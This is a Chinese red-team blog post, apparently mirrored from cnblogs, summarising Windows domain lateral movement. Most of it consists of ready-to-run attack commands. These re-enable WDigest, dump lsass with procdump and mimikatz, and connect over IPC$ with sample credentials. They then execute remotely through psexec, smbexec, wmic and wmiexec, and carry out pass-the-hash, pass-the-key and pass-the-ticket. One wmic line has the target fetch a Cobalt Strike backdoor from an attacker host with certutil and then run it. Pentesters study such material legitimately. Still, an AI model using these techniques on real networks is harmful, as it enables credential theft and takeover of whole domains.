zoukankan      html  css  js  c++  java
  • 红队笔记横向移动总结

    域内横向移动总结

    在内网渗透中,域内横向移动是一种常见的攻击手法。攻击者会利用此技术,以被攻陷的系统为跳板,访问域内其他主机,扩大资产(包括跳板机中的文档和存储的凭证,以及通过跳板机连接的数据库,域控制器等其他重要资产)。通过此类攻击技术,攻击者最终很可能获取到域控制器的访问权限,甚至控制整个内网的机器权限。

    前置知识点1:

    LM Hash和NTLM Hash:

    windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。

    LM Hash其本质是使用DES加密,从windows vista和windows server2008开始 windows默认禁用LM Hash。如果LM Hash被禁用了,攻击者通过工具抓取LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"(表示LM Hash为空或被禁用)。

    NTLM Hash是基于MD4加密算法进行加密的。从windows vista windows server2003以后均为NTLM Hash加密。

    前置知识点2:

    windows server2012以上默认关闭Wdigest,使攻击者无法从内存中抓取明文密码。

    windows server2012以下版本,如果打了KB2871997,攻击者同样也无法获取明文密码。

    针对这种情况可以尝试使用以下手法:

    1.利用hash传递(PTH,PTT,PTK)传递攻击

    2.利用windows服务(SMB-psexec&smbexec,WMI-cscript&wmiexec&wmic)

    3.破解hash值利用hashcat等。

    4.修改注册表开启Wdigest Auth的值,值为1时用户下次登录攻击者就能使用工具获取到明文密码。

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启Wdigest 需要管理员权限执行
    

    **
    **

    前置知识点3:

    更新KB2871997补丁产生的影响,KB2871997禁止通过本地管理员权限与远程计算机进行连接,其后果无法通过本地管理员权限对远程计算机使用PsExec,WMI,at,也无法访问远程主机的文件共享等。

    更新KB2871997后,无法从内存中获取明文密码,也无法使用常规的PTH方法进行横向移动,但是只要SID为500的值的账号就能进行横向移动,不会受到KB2871997的影响。

    获取SID的值:

     wmic useraccount get name,sid
    

    image-20211107164707577

    前置知识点4:

    单机密码抓取,使用procdump在线导出lsass.dmp文件,再用mimikat离线z导出lsass.dump文件中的密码散列值。procdump是微软官方发布的工具,杀软并不会拦截。

    1:使用procdump将lsass.exe 导出

    procdump.exe -accepteula -ma lsass.exe lsass.dmp 
    

    image-20211107164723855

    2:使用mimikatz导出lsass.dmp文件中的密码散列值

    sekurlsa::minidump lsass.DMP
    

    出现Switch to MINIDUMP : 'lsass.DMP'表示加载成功

    图片

    sekurlsa::logonPasswords full 导出密码散列值
    

    图片

    ***前置知识点5:*

    在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH的方法,将散列值或明文密码传递到目标主机进行验证,与目标主机建立连接后,可以使用相关的方法,在远程windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络环境较差,无法使用图形化界面远程连接主机。此时最好选择命令行的方式进行执行。而在实际网络环境中,针对此类情况,网络管理员可以通过配置windows防火墙或增加组策略进行防御。
    下面介绍横向移动中最常用的命令 IPC
    ipc共享"命名管道符"的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在使用远程查看计算机共享资源时使用的。
    通过ipc不仅可以查看文件 还能执行上传下载功能。

    **ipc利用条件:
    **
    1:开启139 445端口 ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139 445端口,可以实现对文件共享/打印机的访问。
    2:管理员开启默认共享 默认共享是为了方便管理员远程管理而默认开启的,包括所有的逻辑盘和系统目录。可通过ipc进行连接。
    建立IPC连接命令:

    net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator



    0x001横向移动常见工具使用:

    1. SMB横向-psexec&smbexec
      ****SMB渗透至Hash传递攻击原理:
      SMB可以直接基于TCP协议或者NetBIOS over TCP,SMB的认证可以基于SMB,也可以基于kerberos,这两种认证方式,前者本质上使用了hash,后者本质上使用了ticket,导致了SMB的PTH和PTT攻击存在的基础。利用条件:445端口开放

    使用psexec:psexec是windows提供的工具,所以杀毒软件将其列在白名单中,,通过psexec可以将管理员权限提升至system权限以运行指定程序。psexec基本原理是:通过管道在远程计算机上创建一个psexec服务,并在本地磁盘中生成一个名为"PSESESVC"的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。首先需要获取目标操作系统的交互式shell。在建立ipc$的情况下,执行如下命令。获取system权限的shell。

    net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator先建立ipc连接psexec \\192.168.90.30 -s cmd 
    
    net use \\192.168.90.30\ipc$ "Whoami2021" IR/user:administrator#建立了ipc连接psexec \\192.168.90.30 -s cmd #-s参数为以system权限运行
    

    在无法获取到明文密码时使用NTLM Hash进行PTH攻击

    psexec -hashes :$HASH$ ./administrator@192.168.90.30 #本地admin用户hash传递psexec -hashes :$HASH$ xxx.com/administrator@192.168.90.30 #域admin用户hash传递psexec -hashes :518b98ad417a53695dc997aa02d455c xxx.com/administrator@192.168.90.30 #hash传递需要第三方包impacket
    
    1. 使用smbexec:```#明文smbexec god/administrator:Admin12345@192.168.3.21 #域用户smbexec ./administrator:admin12345@192.168.3.32 #本地用户#hashsmbexec -hashes :$HASH$ ./administrator@192.168.3.21 #本地用户hash传递smbexec -hashes :$HASH$ xxx.com/admin@192.168.3.21 #域用户hash传递smbexec -hashes :518b98ad417a53695dc997aa02d455c xxx.com/administrator@192.168.3.32 #本地用户hash传递smbexec -hashes :518b98ad417a53695dc997aa02d455c ./administrator@192.168.3.32#域用户hash传递`
      ``WMI横向-wmic&cscript&wmiexec
      windows系统都支持WMI,WMI是由一系列工具集成的,可以在本地或者远程管理计算机系统,主要通过135端口进行利用,支持明文或者Hash的方式进行认证,该手法并不会在操作系统中留下日志,推荐使用该方法进行内网的横向移动。利用条件:目标机开启135端口,注意目标主机是否打过KB2871997,参考前置知识点3

    2. WMIC使用执行命令:wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe /c ipconfig >C:\ip.txt"
      我们已经使用目标系统cmd.exe执行了一条命令ipconfig,保存在c盘下的ip.txt中。
      图片

    如果不是管理员账户administrator或者sid值为500可能会报下面的错

    图片

    我们先建立ipc连接后可使用type命令读取结果执行命令:
    net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator 建立ipc连接type \\192.168.93.30\C$\ip.txt

    图片

    以上介绍了WMI的基本命令,然后我们来尝试WMIC上线CS目标主机下载后门文件:
    wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.43.199/artifact.exe C:/artifact.exe"
    图片

    执行上线wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe c:/artifact.exe"

    image-20211107164745027

    1. cscript使用****(Windows内置工具,可生成一个交互式shell)执行命令:
      cscript //nologo vmiexec.vbs /shell 192.168.1.1 administrator 1234.a 上传vmiexec.vbs 到目标主机 返回一个交互式shell
      image-20211107164812449

    2. wmiexec(可以进行hash传递)****明文连接wmiexec ./administrator:Whoami2021@192.168.93.30 "whoami" 明文连接
      image-20211107164831886**
      **hash连接
      wmiexec -hashes :ab89b1295e69d353dd7614c7a3a80cec./administrator@192.168.93.30 "whoami" hash连接
      image-20211107164845104

    以上就是内网中常见横向移动的工具,下面介绍常见横向移动手法。

    0x002哈希传递攻击(PTH):

    在内网横向移动时常用的就是PTH攻击了,该方法通过寻找到与账户相关的密码散列值(通常是NTLM Hash)进行攻击

    使用mimikatz对NTLM Hash进行hash传递
    privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
    此时会弹出一个cmd.exe

    image-20211107164857991
    可以尝试在弹出来的cmd中建立ipc连接image-20211107164912074
    使用ipc上传后门文件

    0x003密钥传递攻击(PTK):

    主要使用AES-256密钥进行哈希传递在内网渗透中经常抓取不到明文密码,如果目标主机安装KB2871997那么就可以使用PTK进行横向移动。前提是目标系统必须安装KB2871991,但是注意因为目标主机打过KB2871997所以必须使用SID值为500的账户进行横向 参考前置知识点3

    使用mimikatz抓取AES-256密钥,命令如下
    privilege::debugsekurlsa::ekeys
    在远程目标主机中执行
    sekurlsa::pth /user:administrator /domain:god /aes256:64f2cda9c6aa77302edc1362fd1a1c49cf4bd8c4f52ea7a17a2741b67a278faddir \\dc\c$ 注意dir后跟的是主机名,不是ip

    0x003票据传递攻击(PTT):

    PTT主要是利用票据凭证TGT进行横向渗透测试(Kerberos认证攻击),想要使用mimikatz的hash传递功能,必须要有本地管理员权限,mimikatz同样提供了不需要本地管理员权限进行横向移动的方法,例如PTT,接下来介绍PTT攻击的思路。

    1.使用mimikatz,可以将内存中的票据导出。命令如下
    privilege::debugsekurlsa::tickets /export
    图片

    执行上面命令后,会在当前目录下出现多个服务的票据文件。

    将票据文件注入到内存中。命令如下
    kerberos::ptt "C:\Users\bunny\Desktop\mimikatz\[0;23104e]-2-1-40e10000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi"
    image-20211107164923054

    列出文件目录

    image-20211107164934709

    2.使用keokeo进行票据传递kekeo需要使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接到计算机。在目标主机输入以下命令,运行kekeo,在当前目录下生成一个票据文件
    tgt::ask /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
    image-20211107164949235
    在kekeo中清除当前内存中其他票据,否则可能会导致票据传递失败

    image-20211107165004181kerberos::ptt TGT_administrator@WHOAMIANONY.org@WHOAMIANONY.ORG.kirbi
    此时,攻击者就可以利用Windows 7可任意访问域中所有机器,可以使用net use进行登录或者使用psexec,wmi等方法进行远程执行命令了,具体操作同上,不再演示。

  • 相关阅读:
    比较两个日期的大小(年月日)
    js闭包
    星星点点
    刮刮卡刮奖效果
    html图片自适应屏幕大小(手机)
    将博客搬至CSDN
    类的讲义
    Anaconda教程
    css基础
    javascript
  • 原文地址:https://www.cnblogs.com/zjhzjhhh/p/15578070.html
Copyright © 2011-2022 走看看